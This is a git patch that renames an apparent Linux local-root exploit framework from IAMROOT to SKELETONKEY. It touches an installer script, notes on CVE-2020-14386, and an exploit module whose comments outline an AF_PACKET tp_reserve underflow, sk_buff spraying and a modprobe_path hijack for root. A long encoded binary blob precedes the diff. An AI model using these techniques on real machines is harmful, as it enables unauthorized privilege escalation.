zJ0%pVx!Y^2I$kuvp|vU|90Ldo z;L1eFr8zHVXio`7;-HJP9KdlA+Hh3#yjr)?=V%1EJQGX_`zxgJ6~y4=OD+dA?#B~n zSeb3g3D=3a<{JPk@KjXg*c0e#x(lQ$Csthmi8na9ZU#Q*r@d5 zoI({bcl)oRJjy-ja~5OW(U;z&?2e?Yg`dlW!Ej>n@y1+UH2qD_fh?AGr$~RuRjL0E z&zDZhNRPWIaqo@OE3Rc>gCONbTo0hNG7@LnMXI3bdG;ws-m^8%Fo-TP%gLJ>*Y(ZU zWPHy(fhi!rv$dD%Zn4L?8JIHawfK0PWsd$j#P*if5vwpkPign@yx!^gPBYli?u_lO zc$kUsAgjq#p{w)Kx9GT*9Z}-G$Ew1@OngptI!~WT56=EUR%BzUd_CY*$+ur7tvR($ z?B{Lu$;NM}QN0H}@OJv6=qgnxGw4B`^aA7<$9%=xx9fN>+o}f@EC#9Esu8!jDYuzz zq-8lIGkn2=vvEIVV(%JQmHDi(;1IE7Jr zOy=EVvidzHTein!YxkJ!lszW9bEnDvy31s*?K0U5yG-`!E|dLwm&sP{65sIq|1JL( z>@wM`-6lKo5N)5j+hm1#zJG4(tKZrF{-5;UzMUqk+AYTA%-tqiwcBJ(yG^!ux5>V< z+hqRTCc9&|$!^+hvLEa=*_PcVlVffVZuQOWTkyYa*UP`eZzpKm^{Q%1vF-YFI(r6N zlCJ?yr?C=?Kek<;uGkMG?7BC%_2YjsNk%4T{STYXLYIv(=cjEqWfm`Mv+b7bsybU^ zYl8jLw(DeDWCF+6ZMRqn(!Fmb-j)HhCs0*2yHZw-ssCh|+kSv;Bj9!RGHt+I9iLgg zOzf56A}oYkhRPuV?1V|$DBhnlW|4Tc#HmDKvm zdyD>W!{q?mu<-#?)rORK0c&|Un%W?x1>D>RVu?5%9(3EEC`YL={ScNaAHw3>Yh1Z= zyoDuZ|I`A2LI57)3+?!O1OWWTeC$a8D0uyWC(-6ghXQ~;0RF}=dZ>T>fhS8iTm;Ng z002eD!t*0sPy!_d0)TJ6zy83J|4HevhyoZPeBA5LK3j+IzRNsyX@jlY{;j!67p-*g ztf<`JSNZVeV$Yd8K*Oq5@j|$K0k`~&l?|&_uRf!7ZKLnlW8FMIH%#CNEH{8Mztb4T zk-j@p-d&AmKQg@|6xf||<2OhC^qaASKt8f6@!2iDa^&Y$-Qx94k%QxxFZuCym2+R| zTuD)W=9zW%4L<0=CF7&&Tm(Gl+AF=Lf+CF3Vd z#1A~(%*KwE3brQ<0OLmDU+0Uz9;ZDDtXXo!8!Z)st#zljT=CBGE1qkqcz(|!o<^cS z_`!x`&-oIWtzb7ITsmwkK5n-4!)KY!!7cTe!Obd}w! zc75}u_2(vruld%DHGQ+j#ap{MXo?A0^pyZhoH$MNfWz+vOrTMed zt3UYor_+D*=Q#}pYvXtR?8V|WzPA6Ed0T1cs^NK;{^G>C-SuNW7<1Ibg{MXryxOK; z{>9zje5N!@RDa^?i5twl{xu?muIHdPtA{b=Lmrk1u)H zz452-zWV6Pjp~fwopsClCzPx2xMy$j?$5rX?drU2?>%3g(fYSXCZ0EX&oN+w~@U6Em_{R6wKRM^`6Q)%?`;#XYytnKR51!cjt-C5G zT=eSP1II1fb@^F+gWg+>7bdmTjxN8tZ`|*S&wKQ|`)6IZv~=>wcU?XAJYCy(#qZyH zeN69(H%7j(?X|5NABermzG`p&$+6#i|Eg)F4@DP$m0WxDh|3S|J!ais7q07gY5!dx zU-kNfCog&Qi~XM*Gj!q)C;z@md3eaT;j**Vb@tpfY1F6lwtmm(>wc(YbI+u^&E4m1 z{YFRRwz0ps{pXiQF6ww{=35_K(Ry>?qsBXLoKi7&_N{k?eJ{=2bi>9|A1c4`$YZvu zg%@iNeDcM%-*o$)ePqvVw>|kEYp*VzlC1dN%&8;3=)G*$rxWjc*mLigw)JQ4TekPj zA2%9b{Cdf=aLvZ+FDz|a{M^~EKlSE2kAHvED@BuMY&n1G6$kG5`LE;a-){J%bN>sM zmAO}k?)c3|Z++*&ivQYj-FY_${xB=_Fg#&-VX}Klh6hf8u|jujP_Qk7{`NkB!3zzjxNf z-~4&+(^W4u{P`~%ri^;!n(ouzcrji$G;jM4F712oJG+Co?0k9rvzs^nz`gt0QOc<2 zb>mlMZ6B!**L?exTi<&AxqYYl+0vy8?!Q+%>G8d5R^GDVj#rPUEO{yxdg;DvyO?LcV?lrMjD*u$|*k8@K@(*ZsQHjN{oemiWYT zKxl{(jKvb_NxZh!6T7x|p6H1VX(jG)M`9gDES11lcrS``(?E2djIIG zMz`gs4xh8L_XGY``D-H!)!F#s>TC``1=7Vv(w|5gsPkT^o;}-UAv$}mDt;QB{$Q*p z{WBGe=?R1XP8kWYkfdgx>sC<*q~U4GLiHklDjd96-@sqe;Z6l+AG=uf&fe%&Q4t_s zzFU}4Nq##=VsP_w#)WEUxTDjZ^miBw)w6{j)nh%irqQbj;aGGoDOo+q3U77ITs6?G zd(d{(!^hY5TU_)>f9Ed{pKIv?as~U1BBEvo{ir9|Nym1D2t5g&M26!wFq)LRXR56Z z6JhS}Pk8vIKA&f#=23SGyY6T#%1?bf?(&`tBEwJ~S9|xXP9B|+k;`6V z&f$todo9W}QssE7A(I@5zqZB;+?Jm8F{+IXj5o+9RA7g^lGMjDd2q}j#SN^P-= z|Ao|^;Gt6=dj7^E;ec+RNa;qDi;sDycVj8_|V*UoP7%NkifRc`?yXZlCY3stHzD6FqIgmV2US2~z3u zxk;Eo=3(4UIop^_`XS=Q*vwneo?vB+U-{#Hz7qZbdg%+I#SV&Rbi>(_%jV*v8~lnZ zQmz`tL$)O=n^vt}QHO7E*DYVDhVl8~KnevwakQSc;6pm+7uJJ%!kEhscG1%e+ReCC z`-GA&-NyAqsGL80rzgtW{kT{(`c|W-dh}?RilUe*y!;sP@OnIU!$)du?JviLrWeg1 z@#Qyu6;L%&Mm!t{$5O_jqV-kP%uG&Pl$z%t+Cty)l% z$!(nLLu*fTeK;vsz|6Hlyl5{-<`lgmSQV-aSR^BitG*_=NV%J=U(l(C@I^$={xmnN zTDeX`SyP>-Hnh~OUemaizjd1I(f#WUbj*Wels3`ABlM)6h|ck-b^J-bh`$4!x8ho^ z2fFn#QPLb$T-!%;8?T@j;fXGm5O4XG^>l^g;rEd zq`26}FE>gdSUriqG|9ODH|$!B&r)&+8L@;R);uX{5~lLFy1~9&5Xm2Ul@auZQX*Oy zEzZK37PtjE{`hkD;Z~miw^*|}cxD(Mo(SsdsYWswj(Ix2;m!a>!tI%`R5WZPg9z)6 zg@eLsuMGd3qh7Sp2IICO{DXR;k<{aJ)Qh;-CDI~9*p<#Z5udi!g^wLP7ey~q_^dH! z?Yg-8p$COK8SC-MNGujtPn^dw^6YxFyX?3$T^~0`U{8OenUMWqO-tkQ<=J4IC=x2n zE6Tj+&Pz{rg!!MmY(r1tGwBGK>zzvp61u_D2nbJykLRf;M)e+?KWCq-E>tfb)FwDG9ahMXC0CrwaJf8D)6c^-b*o%M@RIIa8lgm$18!c5YJ2w7RX~47ewN* zV3$8SFNp8p2>VjB-kSz&n@A=}hE^JtNS!0{O-Zt;p8>7J>U>7EYZS(sBWz9XDL-)Liv z=9wtHB@^K|U*MA|dOl5$c6$!9&{8|?3$(>9%Ee&j#UQqGUkAfXAz$|J>kQnra0YAP z&$mndVqN$&xUMp7XN(S4tQYE6t)U*&Gf_dg+=eAo$~Uyg5pYy({e|; zmyi!S7&z`p@vv}gf!Lqo=jUyE)olPUiVlgF(%<-dEd4zi4~psUqAckH{WYa+ro@ak%aj8Bx(!xtP$|JJ2fO zF!c4c(aco8Y0;OV2U3Y}ve#oXCgYW+n_GM@B{gZ5|nz4$xa;!P;#Bg4vqvkaGlAH90f3RoyojNJljm>8wC*GX0rZK0P1#= zy*LVB=XR65I|`undXvo^4KQ%M$=XH(?7ZG&$L*n(W|cfcOth_9cG* z50fn~0*K#gvWtrVS_e$F1LNCF_DK;y+wCT+JpuskFj?dXfT24~w)Y5tzB^6!$q@jp z_nXY;2Izm#Wc}C+KQ`H3H^AVJP4=Z5pl_$iN{az%cbTlJ7+`pp$y$p626me)QVh`c z6O(O0Mb1Medj{bTnXG6GK*_@z+z=OZTDFa`h~HQ4~d_n2&W3_yI3$;!q8s6RDX z+gO0spPH<1EI{8+O*SwVVCbhN+dmed?QxTV0&w7Qla(m|{evdkpa2Z)GueIxAim#Z zrQ-lfo-tYHIDp}2Oty6#K>S&g?L+wUCYw|OQ2T<(f+Ya0FPZG25`Y6Qnd|_@2Te9+ zJizcPCTkfFQ1WM!-7p?tXvk!*BK%F0!2|$!+hlVm0C?Xu*~Jq8hW}==Jre**-Z$AN z`1=Esl}-fc|IlQe69EQ3HrdvR0Ii>zY!Cka++;sOOS0@1gGuiMYfB|N*<&y#0fUyme0d@joTPFh?C}8ZsWPrgjjHy!q`X(?oFa=;} zB4fi-0CrAdtZXX4&=kgkQvnW?GS-jrG{y#}0t`=QY(y!*;0(rEO99%BWbEcrfZCai zyR!aRWdd-9YCGWSm_La*7=OhodM7{pRw8*06XV1wsr=<(0s-^X8@E`F?R6`fZ8g? z`ey*ds~Ed;2EafSV|!)*9H?UKnHgwo&)Com0Ph0EK0$m77%MpvV0Zyz-Xj5Os~KxO z62M!-*j|hmF*f%ofZEd-+i(;>>uHSj;@HJ;B>}b#P4eu^BxP(zmBoKW5uF@!;Ycg!qrf)p`>8On9)W3 z1*1z4ek1^F`M$}Hqcj+Drw5ot={q-?Yyf$UQqrW9E*)3gQ`85iO<#24{8=0g=Jx@> z&?b}F*R2`=I0p@)wwi1dT1M3?C0kuSrF3)QGDY1q!nM_{lr||P^-57)amcNd*3sVp zfDgsr006IUHQC=N@71n)rSz)8dPTi*M7>hBb!465-8`yJso6AoiE>~>VP%0^scBKX zbxK*iqSh;=^&H<)#Mc4+7`=W}xKYT8L!K+PnJ;Hb$mt@v)8P>5`+39kf=jNSSXRGScVtl!2iwoe$ev>sL zjyk1evul}Bx~b5os6n?<+MtxwDMc;CK3<(VrHJ>}UKc=3f4UD5&jA-eRlmu`STwiX z8XKSDb=BFM*isC0QEn>~Ywl7Mz)r`qmt)z@N`GPD!v%si>y)BKq$RZ6t11NWUTd<` zv92vj$tIWPR*IGsw<<-gza;uSvk)M1t;tS72L z*>193)W;cf=@M%$HDMjg0N`LD!28=xcF^k27SW%zuCuHbwG?w28!(sEX|6Tq zm}@?z)^$(Lnl2HzT1Nn^y&*m4uf{n~^R^M^Srg7PAI`JWl>;TNU2dhOE^DGS7GoQ3 z9sy8#qseZy+R!A%WoL zCfkPsJs-mhk?3 ze_Bp%v`Jk*Cg)F=4UV4WYzH1V;n(?=TtKhk{R0U9E1V$XDFt#Mljww zrKqXc^-r<%*C|CSi#h&tjsQ6Gf%KZT$+b-BS0iqvq=8lw!80y90$|_)lRbnAg!EdG zYwVXQ!-a+Qxp@X(pKx4X#QN?wS&@bB5Ike3uJ9nPJ=si{(6=6bV4$YMiRWJpHo2OWq4BQ$TxcME{;nI~oF`1iUx(qe*^F&yvDSxGN}H=S zvjy08wHV;eCroyY)t86j=dQw#D`#I?V-qh1_~hp%JD%owj&-Uv?C8msVpp%DD}Bf} zuzrKZ05AT+WMguS4PWn%FqWi=~9wK!vufm(FX!1H#F0oePr$tK`B#>Z%d(pTVm-;MhUY~czwAFidv zu5$#84=-=yonrt7er>YJ`Nm)g@+qR1orQ((#UP<}aQEWo=5Or}tp%~A%# z5ylMCw~PgN=6RFN{TGZQj@7}j0QdjFWV@}g%94lLvgu5$b(0hT?;lNe49Of< zW{>kgo$F%9IE#L1RRAWvY_i{CxwzKd?dHsJj~hps=0ECSUNPCV*8F$ODf@U16c#>p zi1Fm}Uja~Gw~s|Tj>S9nv3OSj7&BzDA7i~Z4<~sz$5>1n2hjh9$(A2#EXF$dT}#e6 zg<}y!e19?7&-0H(Jl|Lhj02eU&LPL5zs}X;7>lN2+>^gL4xs2=lbuB4xE1*$U7XYF#n%+PUKaKL5MP-bUSK zdY#U-r(3EF&nkR#bk4N^rvY4y|HcE{@R`Y;#KVI_?-g2ckEj$VpBMO*K3B8yc|pB0 zT+pk0UJz3HTusX71$8-o7nbE-jhc!%U;T1Cz`_4E*?IZtvK3|340gVx*p+fDM%W;f zla@~ac=t<_{mL36nqzzq-$eWl2cLd47xVdX*#v;TuS_=E;x~M4PVe2CbMYG=-_s0E z07x>Ey@hQ+e)9}xG{~Kbe8sL+d}B^~==Uc8)D$rGIo6NsZMbfrnd_raaU*n4eD8(p z#E}yLid>9MqW;;6?b$5$OFpFy8TlX60{q3r*l(yz`+j&S?uR+A z<9e(nrOmZ5r&!-8_SW}L1n4YeY=CePU-qF4<3l;DS@9+u!_`>qgtTy4{(K_9-a^J+ zv-DvO9=r_KR9>%@%FdC6J91MJ?<*YpmPr81-HbhuIrdAHz7d_)^sFm(by||OSZh#k zz0b|q%T~UnC|jSd47<*>=%lgOb+)x)@+~^o_3WJl&{@pbudV(#1Lcub*dME~KU`PY zG3}e?|9@6KGm<-TAhOyDe@A=xW66;X-nM*9@xK}8f3~=!{#!{HczJA1A zx?Ia!0ibmDLU&?TjL1efLco+_=kT&fHe6n=?oTejYZ%PJU<@7#&H`tgk2XURW@ zkmm;{6z;(NLH6blNs{YoKbZ{Rox<2v7G0;;1=pXfdC*wA&icE#*yXo=;L?C&e(Dr} z4O1B#%PYwg6o4I$bTAcQpCjEQJo9j*!*h@?9qCS;3Q#&N z-40wITc-k4O=Aq#U)+;k#CM}Y_a2!F&^e8<_0(URT&`x$t=1_;xL@5m6=2Ua#+Fdt z)7?tZvf@sT0eQ*&Qvu$c#@K(-xLu7pncO;YpVC&iB)8b)E5@=up9&C(n2g&?D{Y%b zZyvREnG-8;%3#1yWay`?T~zhf=;=^^iA2rU7i3$=LOlJhs}B z$C{M^mutIy+tE^dkzF3ED?Zcy6B#ecI)l>yUOYbCR;0lf@l5S_#`vRUmR>~Yk%y-N zd~!TvtEmrY@6&>7;7Vm@!3Byclide28|&fuuRC!HHiU-1PF zA;BkPj`(zd7t0uX^y`fC;G)7Uxb9^0$7bYZxW^it4)Ac8&K{J(MRr0)W&i#~tCRza z;{1%^{pkRu<&5E2h;j2FpZ6*1N{d@9FAi8M6!xz=1E8ur-M@I=RfT7V<&2$#czjAp zNGam$(efDpE#-`DvHEtEeSAl_&b5!PuNY;Fz8L^_mNWLUMHBo?hU;XJ2v^vJ3NfwH zGJ2Ds_kDQg=}p%W1J?7^82~lj%zEN}1kXHMy^P&P^}N#6>fFcgba9nKrY;j@d^{iB z=Vffa;H@xQA7 zU!rn{C?0f_4-wJ+IF(!bFD`%LF#`Y56!#^>ZwViy-|9PpV${D$$`N7cEfKfD0S(moLN6ed0TsSz*{o zbrgpv?xuJ%#oH;qo8m_( zev0CkD1L|H&nO;MAEX;_VdQP4OcXKSl9N6u(39XB3aB zr1B{~f#Pb4niZ@fdo#MMGeuUzuD1M3JcPRdh;!*Rde2Pz?xSHZ7iq}yb zqPUyl%@l8^_-=|Hq4+6^U!wROia(=x6e@@TU<$=2P+U!M6UFN&4pH1q@n(v*Q+zkY zk5K#+#V=9(4#l5QJZb@zPw@#9S5w?X@j8k_6n9g+nd0pf-%ar&6hB4rOBBCD@n;l| zs;2TOK7rzDikm22M{$VaZi+Wkyq)5^DSm|F!-Y|VQ>(M;le` zXMQx8e*}D(g=iS|Yqa9PTgepdQ z5E{TU3Z95Xlh@1k}Mken##^9c^04t>NAhbaAis?Wd`0`M_Sa3t?s z^?8NLttCB)3^*KEpSS~#^oww*SCIkFiwa-{?0;L7OVxq#96s5Sb7iP;2|Q9yBLm(w zDu79r+$=-DmAn2?D)%6jE9KB`f*)|eFDCeq1HL&A{%w>V-VrTAAK@78$dmqIYS#cU zc1c&iBzP??DEuB20Q`aQ_Yr>CZ*S$n{|||0rKpG8W_=;y$UyL(IUyQfi2XSQ28n*; z{3)l8 z!3PLVYE#%t@WCI8^xT#b0De0{@Q2HY&Sn3+%;6<)&@oIKezP*fUhL{ zX#tn&+9@NcpZ5zmx6=cFN`mj?#$^E9<_-W>kHmVGz!23(t|I}wrXz{SOn4uM&wzoC2u>ZbS;GI32}i#H$X5s6%YkhM6^#<(F7=?2?;S&MsV9}`7Z6Ly z%k)nYT&Iq@3VV-~TIu=j&(RXwh#{f68s3 z0N|Shm-1iAE4=)Pkvj;(@%iQX#Zjlx%kyNJpI%xJ(kWV z{&*Oc1yb0+(@(SXgfd)J1l-kyGu)O3{sf0BFieKI{2mP2vJu>?2~4ys@w9rxR1jXsO3h402IM_dD35y2Yxx>iJvE`&+o}1o##nE zaD=#f?hNREWjxG)K8L*e);LT*9oiiFkmsn}5|TgVJ^sJS`ViyfcLH$#H6eHZjCALQ zPt60b%mYV%F}cR^Ob%Cs!(Y6XPYuU=SGm&T8?M+7{f>U<%Y%P=9{2-!;DdSK&vUq9 z3Bq)I%I_Oa00jUfQbW*>`a2BO++aVzQE*Re3CU`3eO8ou+09=u$+?(^jcS-!D2;qJbP!7zK{xyWV z##!elGQ5>1{eyY>`7M`TtMkCm&jWuj z&-iZ4lYU$tI_c->6{zhHbrrAl0>3+%i%u@d(?5^qDffju@W1AP|8oq^$0^YEvRI&` z9&a3SqYPvq`|YPYJ+G5^9uw*L9WAuM=kVz(%13wq|`JFZF zpFHV9l)j(%gWL!8+iP+Pd~n*2VluL zN*+EI$b-M9B)9ytIZyhV^1vUU`oxJ(3JY+6-(dY+)3eTx{+I{P-w4kjcj^JaeK+8} z8r}~jLJ>_qAu)^|Pke^Y;j9TXUXJzauQVS^NbfCusYR*W zL0XR_f7nFuR-zNB*S#iBeeS0ENO@j{-4YLtFRB0FsXTaI$pilf;n_*&8r&Zm0DPP$ z{iunw9y#`3;|MMfvZQ=o#^KrF)I9JNdEiTn$2d=~zya!iX-{)$9z5If!0#bE zgMSolkn+P`34dL{`Q1s>`{u#(dLH;k6N#=I^Krx^(a-V#f%^x+b)Vq<2~jTh!Gia2 zI6OO`KSBtnkD@)BNpWE$Qz7dh=4F$GtoO;O|z^^Ij3%A5F#Wpq@lHsY81z zqtME4uI)}9K1KOXldx?%~fy%*n~#6Idon!#?`pa+1{ zpN5|6Wgm4=QZ0x*DPK1A1Q1oER|`eLaRVYTe^A3`T#-nlMlzm=#gT&bXfKXm=u5|>uu;PI(jb3qra9m5Iq8YgHb2w@w{gH@f z_+@SD8tZ)8vc|JOIPed5%Xt(^_&YRw0o)S+!m1g`SVGsjt2KWT0{%$29Upwh-$rLR zlmvXBv0AeR-tcFZpH9f9v@9SCzh7X=izuC&KQQhIKs=%Iw~cfy?$@HJNF=u24r`aN zPJM%xjA=FP;E!}@vA7=9@CkD*6iD>OllCkDnFSN_G|uh}#*hT84)2hEX@-6Qb>?~< z2a{&AW~4j;+qgrwo(P9}wRprIO=ffyhiFEp9*G2E!At^4CVI7m-mNDPpBDFb=tf3f zE0?yRrdq460?{;20M^v6I?QFaKR3zKg%DZ}a(YFaN#1!czr-3eS94 zU+JlYK&7Vwy28nD2d81EUtZU+Z26KkYdKYF_*$_ho`kiSAd+jw2btaWMRrzC!XLMR zi5EGbNYQyR;3s<~v4}{L%gp8YmOoqdq4HJd%gBi|Z%*;mUS?J|5zEek3+A1E%}|zM z2MNS>h{$EVO=M+CLy$M=K^uUOq*I7hGyR)tmPeqd{+c*B^ z12Wfk-3F!Vq)|}un%1PS+`TV9 z%e7TaO=}w0YHRE2mp5wAq2ohawav?y)Hi6Ao=VRG(6q1-3slb6jASAiOGT`Y^J{Eu z2)U%yj!3LSYxf5sl+bl6IpPvCk*`pY&;!nbBH{J`t_X>w*5waJt*rB_K-2U@A{x{1 z$_;w>=gH$vUj;_y0Y$OxWK)g2th82#j7oWP~8K1NzYgcIL zrF`v*hDa=`uf<0s!AJ&UsbofS`$DRP4LRzzp30mH;b>G(0DoUA15diwjetKIvcAo) zfv)wzaKZv$`wcxB>@qqsVC|`JB&hjQ$xb~QKsMYSiM3;mZT*UQyA6CDE1FCfAuuNK zP32fTvsNiijTz;nqDH4bksjtM67>9r(G%40Nu^L&j|43tK(az=c_0!Ctk*j9WHQ{9 zMpAJyQer$D%qYrw^dwG z>2OrALr=!yNeyMwjE)kIt7d|di9ly2EhTh+MC-s|izT$AKhdElA)eheY5GL25Xs;Q zMlz9wHiaT{M%j)fM{IWF{OQ&c_%6H_NF@?_G?^Y`lHMQ`PbG~Ee3`o@?D=52Lxtq3 zMRgt7I!#h4#KyC!66w*&n5@vHcNuyn`6I)04of&%?GFYM8optO)R|e$SRk41Eu^w^ zX?7+`^8=@LGM0hCk={<(l<5#DARdnA7zZw^*fANrhXXkZMycj}BNnxDUFx^=azp^T zbe@48yD|smWzOub^+r0T!I=V~m>e4eyv5DTq;8Fb60{%d! zjtwBqX$ z6-3-5yS67%NgWr*fNt&mXgdlaqc@t#4C1J`u;Z5eUMTZ&u}LYM2+7bQ8UjO)Kb$2P z3EqT^IU197adJF=qKl7lLXY@U(Lg8o1NcU{H3nES`$MTx20>cr(SugMS!{|I%9{ak zq@WB;aXpcUWeOI^j_~QaY)sak3A#f$WKsFVZ$<%FdxvmpbrsTkj#VLpgG=r#_um@V zOvynu^yGTIHxnbVbJ7|*=9BD|?8c?{CSVwyxPMt6OC_~Hryf|JomyabR5eFij2!)x z**+&3MWcEkQ*;S&7MIbhnznXD18p87hOV!7kZuUobvD@i`B`)piY3+~u>rn~yFm;2 zgWX}n$w>L8O7>aCmWpOsP#5Z`berr-0s$7Qg@Ds=@YjtqxsZ`eWYZ!~m(g-j5Kf_# zfqXF%OK??LFx3?YO$%)BqeSVCgfGnOF{-bjM?y*6ND6Tx2j<-J3Se(#q&AWXBbhmI zG%bLug4T}2V#yMnGF5>f@Sz5#gkI~ze^tXct1$rKL%D1;Q(M^qI^+AyJ3I_wb8f_`JV?o-$x%4(rTlX?Db_V??K8S z?J;EVIP%9Szl_o6vpvZBNHWyXRUTRXb(CMm(qD%R@_bJQG<*Gwv6##+{dmY2-(bQZ z?@v4HkN4Kmhlk8B{d~xHh#Y?4{ctQ>=9m6H&W23Cm(p*DjHRCt8JzXUdw=MYLzXZ7 zaL5?n+ruF1FVo35j%SOu{L;^d6;pm^{bl$L*;Yw>($9#DrJoU5zO(&TP<}dgxBQk! z|0UAT3Fb#%EzbOSFAn=e-oLjl;Lt@J=?_H)C;i~{Kzn|b^2wOLxo8XW{)&umbmSi- z{|GXc^_4;XmhtV5{PI4zjJG~3bBaLMj;(-Z;r9AVzcwStc=y8?77q9FT?K~{6qQ&kg>DA z&hlTyCpBpfVvv4-WGu%?2KigYIKRf(@=HHKGM4FNkiTX83ALZtmUVwz-XpKI2wMba zd(e#%CXxB2-y18&&b7@CS+1mC99~Q!^AD1rAsM4@XM2$OW$fnn*wgu?pCTEzNyHRn zJ{jYERD1dIo{Wr(EW#AQ*?x52hqz=h(q2#6yQuUYs|?Qk=%x+Jm-qH$kooa>SbL!E z%!nOTZ5kH$N?Hu{zPALpm6yFIjx7FfS46H<`n%Yc3-a^?Rk8I;d&2; } ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; } @@ -40,11 +40,11 @@ log "detected arch: $target" # Resolve version → download URL if [ "$VERSION" = "latest" ]; then - url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}" - sha_url="https://github.com/${REPO}/releases/latest/download/iamroot-${target}.sha256" + url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}" + sha_url="https://github.com/${REPO}/releases/latest/download/skeletonkey-${target}.sha256" else - url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}" - sha_url="https://github.com/${REPO}/releases/download/${VERSION}/iamroot-${target}.sha256" + url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}" + sha_url="https://github.com/${REPO}/releases/download/${VERSION}/skeletonkey-${target}.sha256" fi log "downloading from: $url" @@ -56,18 +56,18 @@ fi tmp=$(mktemp -d) trap 'rm -rf "$tmp"' EXIT -if ! curl -fsSLo "$tmp/iamroot" "$url"; then +if ! curl -fsSLo "$tmp/skeletonkey" "$url"; then fail "download failed. Check the version exists at https://github.com/${REPO}/releases" fi # Verify checksum if available -if curl -fsSLo "$tmp/iamroot.sha256" "$sha_url" 2>/dev/null; then +if curl -fsSLo "$tmp/skeletonkey.sha256" "$sha_url" 2>/dev/null; then # The .sha256 file has the binary's original name; normalize for our local copy - expected=$(awk '{print $1}' "$tmp/iamroot.sha256") + expected=$(awk '{print $1}' "$tmp/skeletonkey.sha256") if command -v sha256sum >/dev/null 2>&1; then - actual=$(sha256sum "$tmp/iamroot" | awk '{print $1}') + actual=$(sha256sum "$tmp/skeletonkey" | awk '{print $1}') elif command -v shasum >/dev/null 2>&1; then - actual=$(shasum -a 256 "$tmp/iamroot" | awk '{print $1}') + actual=$(shasum -a 256 "$tmp/skeletonkey" | awk '{print $1}') else actual="" log "no sha256sum/shasum available — skipping checksum verification" @@ -83,17 +83,17 @@ else log "no checksum file at $sha_url — skipping verification" fi -chmod +x "$tmp/iamroot" +chmod +x "$tmp/skeletonkey" # Install. Try $PREFIX directly; if not writable, sudo. -target_path="$PREFIX/iamroot" +target_path="$PREFIX/skeletonkey" if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then - mv "$tmp/iamroot" "$target_path" + mv "$tmp/skeletonkey" "$target_path" elif command -v sudo >/dev/null 2>&1; then log "$PREFIX needs sudo; you may be prompted for password" - sudo mv "$tmp/iamroot" "$target_path" + sudo mv "$tmp/skeletonkey" "$target_path" else - fail "$PREFIX not writable and sudo not available. Try IAMROOT_PREFIX=\$HOME/.local/bin" + fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin" fi ok "installed: $target_path" @@ -104,10 +104,10 @@ cat >&2 < Upstream fix: mainline 5.9 / stable 5.8.7 (Sept 2020). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. -## IAMROOT role +## SKELETONKEY role Sibling of CVE-2017-7308; same subsystem, different code path. Fires the underflow via `tp_reserve` + sendmmsg sk_buff spray. @@ -24,5 +24,5 @@ PRIMITIVE-DEMO scope by default (no cred overwrite). `--full-chain` attempts the Or-Cohen-style sk_buff data-pointer hijack through the shared finisher. -Shares the `iamroot-af-packet` auditd key with the CVE-2017-7308 +Shares the `skeletonkey-af-packet` auditd key with the CVE-2017-7308 module so detection signatures dedupe cleanly. diff --git a/modules/af_packet2_cve_2020_14386/iamroot_modules.h b/modules/af_packet2_cve_2020_14386/iamroot_modules.h deleted file mode 100644 index fe94bbc..0000000 --- a/modules/af_packet2_cve_2020_14386/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * af_packet2_cve_2020_14386 — IAMROOT module registry hook - */ - -#ifndef AF_PACKET2_IAMROOT_MODULES_H -#define AF_PACKET2_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module af_packet2_module; - -#endif diff --git a/modules/af_packet2_cve_2020_14386/iamroot_modules.c b/modules/af_packet2_cve_2020_14386/skeletonkey_modules.c similarity index 92% rename from modules/af_packet2_cve_2020_14386/iamroot_modules.c rename to modules/af_packet2_cve_2020_14386/skeletonkey_modules.c index 6cdb3f8..eea318e 100644 --- a/modules/af_packet2_cve_2020_14386/iamroot_modules.c +++ b/modules/af_packet2_cve_2020_14386/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * af_packet2_cve_2020_14386 — IAMROOT module + * af_packet2_cve_2020_14386 — SKELETONKEY module * * AF_PACKET tpacket_rcv() VLAN tag parsing integer underflow → heap * write-before-allocation. Different bug from CVE-2017-7308 — same @@ -10,12 +10,12 @@ * - Default (no --full-chain): the exploit() entry point reaches the * vulnerable codepath (tpacket_rcv), fires the tp_reserve underflow * with a crafted nested-VLAN frame on a TPACKET_V2 ring + sendmmsg - * skb spray groom, and returns IAMROOT_EXPLOIT_FAIL (primitive-only + * skb spray groom, and returns SKELETONKEY_EXPLOIT_FAIL (primitive-only * behavior — kernel-version-agnostic, no offsets baked in). * - With --full-chain: after the underflow lands, we resolve kernel * offsets (env → kallsyms → System.map → embedded table) and run * an Or-Cohen-style sk_buff-data-pointer hijack through the shared - * iamroot_finisher_modprobe_path() helper. The arb-write itself is + * skeletonkey_finisher_modprobe_path() helper. The arb-write itself is * LAST-RESORT-DEPTH on this branch: the tp_reserve underflow gives * us a single 8-byte heap-OOB write into the head of the * adjacent-page slab object; we spray sk_buffs so that next-page @@ -43,7 +43,7 @@ * before backport. Embedded systems with 4.x kernels still in production. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" #include "../../core/offsets.h" @@ -75,7 +75,7 @@ #endif /* ---------- macOS / non-linux build stubs --------------------------- - * Modules in IAMROOT are dev-built on macOS and run-built on Linux. + * Modules in SKELETONKEY are dev-built on macOS and run-built on Linux. * Provide empty stubs so syntax checks pass without Linux headers. * The exploit path is gated at runtime on the kernel version anyway, * so the stubs are never reached on macOS targets. */ @@ -148,12 +148,12 @@ static int can_unshare_userns(void) return WIFEXITED(status) && WEXITSTATUS(status) == 0; } -static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] af_packet2: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */ @@ -162,7 +162,7 @@ static iamroot_result_t af_packet2_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n", 